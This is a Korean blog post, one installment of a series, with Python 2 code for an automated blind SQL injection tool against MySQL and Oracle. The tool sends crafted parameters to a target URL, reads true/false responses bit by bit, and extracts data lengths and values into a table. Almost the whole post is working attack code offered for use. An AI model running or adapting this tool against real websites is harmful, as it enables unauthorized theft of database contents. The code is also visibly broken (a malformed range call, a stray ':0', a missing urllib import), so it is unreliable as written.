▣ 구현(MySQL, Oracle 공통)
1) Function
- requests, prettytable라이브러리 사용 (← 해당 문자 클릭 시 다운로드)
- 데이터길이 조회 HttpRequest함수(POST, GET지원)
: 조회한 데이터 길이가 0(Null)일 경우 “Null-Value”출력
- 데이터 조회 HttpRequest함수(POST, GET지원)
: 조회한 데이터 내 한글포함 시 “Language Exception”출력
- Blind SQL Injection완료 후 DB테이블 형태로 출력(prettytable)
2) CODE
import requests; from prettytable import PrettyTable; # Common : Get DataLength List """ ◈ getDataLength() : requests라이브러리를 사용하여 데이터 길이를 조회하는 HTTP요청을 실행하는 함수 : """ def getDataLength(payload, sqlList) : binary = '' answer = '' result = [] url = payload['url'] # requests라이브러리 내 요청할 session객체 생성, 헤더추가 s = requests.session() s.headers.update(payload['header']) fixedParam = payload['fixedParam'] for i in range(0, len(sqlList)) : for j in range(1, 5) : try : # 더 이상 데이터가 존재하지 않는 경우 if binary == '00000000' : # 기존 추출한 문자열 길이만 삽입, 변수 초기화 result.append(int(answer)) answer ='' binary = '' break # 해당 row의 문자열 길이가 0(null)인 경우 예외처리 except ValueError : # 0 삽입 후 Null-Value메세지 출력 result.append(0) print "\n****** Null Value Exception ******" print "Index " + str(i+1) + ' data is NULL.' break # DBMS별 길이조회 쿼리 분기 for k in range(1, 9) : if payload['dbms'].lower() == 'mysql' : query = getLengthQuery_mysql(payload['frontStr'], sqlList, i, j, k) elif payload['dbms'].lower() == 'oracle' : query = getLengthQuery_oracle(payload['frontStr'], sqlList, i, j, k) # 고정파라미터에 데이터길이를 조회하는 쿼리 추가 후 url인코딩 fixedParam.update({payload['payParam']:query}) param = urllib.urlencode(fixedParam) # session객체 request후 response를 res변수에 저장 res = s.request(payload['method'], url, params=param) # 참일 경우 응답에 포함되는 문자열이 응답에 존재할 경우 0 | 존재하지 않을경우 1 if payload['flagStr'].lower() in res.text.lower() : binary += '0' else : binary += '1' # 8자리의 binary를 모두 출력 시 if len(binary) == 8 : # 데이터가 추출된 경우 if binary != '00000000' : answer += unichr(int(binary, 2)) binary = '' query = '' # 더 이상 데이터가 존재하지 않는 경우 elif binary == '00000000' : break s.close() return result # Common : Blind SQL Injection """ dataLength : getDataLength()실행 결과 반환받은 각 ROW의 문자열길이 조회쿼리List querySet : getQuery_XXX()실행 결과 반환받은 각 데이터 조회 쿼리 List ◈ blindSqlInjection() : requests라이브러리를 사용하여 데이터를 조회하는 HTTP요청을 실행하는 함수 : """ def blindSqlInjection(payload, dataLength, querySet) : binary = '' answer = '' blindResult = [] url = payload['url'] s = requests.session() s.headers.update(payload['header']) fixedParam = payload['fixedParam'] idx = 0 # 추출하고자 하는 row수만큼 Loop for l in range(0, payload['row']) : # 사전에 추출한 데이터 길이만큼 Loop for i in range, dataLength[l]+1) : # 추출할 Binary(8자리)만큼 Loop for j in range(1, 9) : # 이하 getDataLength()함수와 동일 fixedParam.update({payload['payParam']:querySet[idx]}) param = urllib.urlencode(fixedParam) res = s.request(payload['method'], url, params=param) if payload['flagStr'].lower() in res.text.lower() : binary += '0' else : binary += '1' if len(binary) == 8 : answer += unichr(int(binary, 2)) binary = '' idx += 1 # 추출한 데이터 결과 저장 try : blindResult.append(str(answer)) # 추출한 데이터 내 한국어 포함 시 (Ascii코드 변환 값이 128이상 시) 예외처리 except UnicodeEncodeError :0 print "\n****** Language Exception ******" print "Index " + str(l+1) + " data is include Korean." blindResult.append(str('Korean_Data(Ignored)')) break answer = '' s.close() return blindResult # Common : Print Result """ ◈ printResult() : prettytable라이브러리를 사용하여 Injection결과를 테이블형태로 출력하는 함수 """ def printResult(payload, dataLengthSet, result): # Set column_Name sql = payload['sql'] sql = sql.lower() sql = sql.split(' ') colName = sql[1] # PrettyTable()함수의 인자 값에 컬럼명을 LIST형태로 전달 x = PrettyTable(['Index', 'DataLength', colName]) x.align['Index'] x.padding_width = 1 # add_row()함수로 데이터 LIST를 ROW형태로 추가 for i in range(0, len(result)) : x.add_row([i+1, dataLengthSet[i], result[i]]) print x
'Python > Tools' 카테고리의 다른 글
[Python-Tools] Blind SQL Injection Tool - 7 (CX-Freeze) (0) | 2014.12.23 |
---|---|
[Python-Tools] Blind SQL Injection Tool - 6 (구현) (0) | 2014.12.23 |
[Python-Tools] Blind SQL Injection Tool - 4 (구현) (0) | 2014.12.23 |
[Python-Tools] Blind SQL Injection Tool - 3 (구현) (0) | 2014.12.23 |
[Python-Tools] Blind SQL Injection Tool - 2 (구현) (0) | 2014.12.23 |